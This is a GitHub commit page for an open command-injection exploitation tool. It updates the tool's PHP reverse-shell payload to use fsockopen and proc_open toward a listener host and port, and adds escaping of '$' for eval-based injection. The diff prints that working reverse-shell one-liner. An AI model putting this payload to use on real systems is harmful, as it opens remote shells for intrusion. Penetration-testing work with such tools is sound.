Skip to content

Commit

Permalink
Minor update regarding "PHP-reverse-shell" payload
Browse files Browse the repository at this point in the history
  • Loading branch information
stasinopoulos committed Oct 25, 2024
1 parent c92510d commit fa8a972
Show file tree
Hide file tree
Showing 4 changed files with 7 additions and 2 deletions.
1 change: 1 addition & 0 deletions src/core/requests/requests.py
Original file line number Diff line number Diff line change
Expand Up @@ -261,6 +261,7 @@ def estimate_response_time(url, timesec, http_request_method):
Exceptions regarding requests failure(s)
"""
def request_failed(err_msg):

settings.VALID_URL = False

try:
Expand Down
2 changes: 2 additions & 0 deletions src/core/shells/bind_tcp.py
Original file line number Diff line number Diff line change
Expand Up @@ -323,6 +323,8 @@ def bind_tcp_options(separator):
# Option 2 - Other (Netcat-Without-Netcat) shells
elif bind_tcp_option == '2' :
bind_tcp_option = other_bind_shells(separator)
if settings.EVAL_BASED_STATE != False:
bind_tcp_option = bind_tcp_option.replace("$","\\$")
if bind_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("bind")
break
Expand Down
4 changes: 3 additions & 1 deletion src/core/shells/reverse_tcp.py
Original file line number Diff line number Diff line change
Expand Up @@ -116,7 +116,7 @@ def other_reverse_shells(separator):
# PHP-reverse-shell
if other_shell == '1':
other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \
"exec(\"/bin/sh -i <%263 >%263 2>%263\");'"
"$proc=proc_open(\"/bin/sh -i\",array(0%3d>$sock,1%3d>$sock,2%3d>$sock),$pipes);'"
break

# Perl-reverse-shell
Expand Down Expand Up @@ -500,6 +500,8 @@ def reverse_tcp_options(separator):
# Option 2 - Other (Netcat-Without-Netcat) shells
elif reverse_tcp_option == '2' :
reverse_tcp_option = other_reverse_shells(separator)
if settings.EVAL_BASED_STATE != False:
reverse_tcp_option = reverse_tcp_option.replace("$","\\$")
if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS:
checks.shell_success("reverse")
break
Expand Down
2 changes: 1 addition & 1 deletion src/utils/settings.py
Original file line number Diff line number Diff line change
Expand Up @@ -262,7 +262,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "4.0"
REVISION = "105"
REVISION = "106"
STABLE_RELEASE = False
VERSION = "v"
if STABLE_RELEASE:
Expand Down

0 comments on commit fa8a972

Please sign in to comment.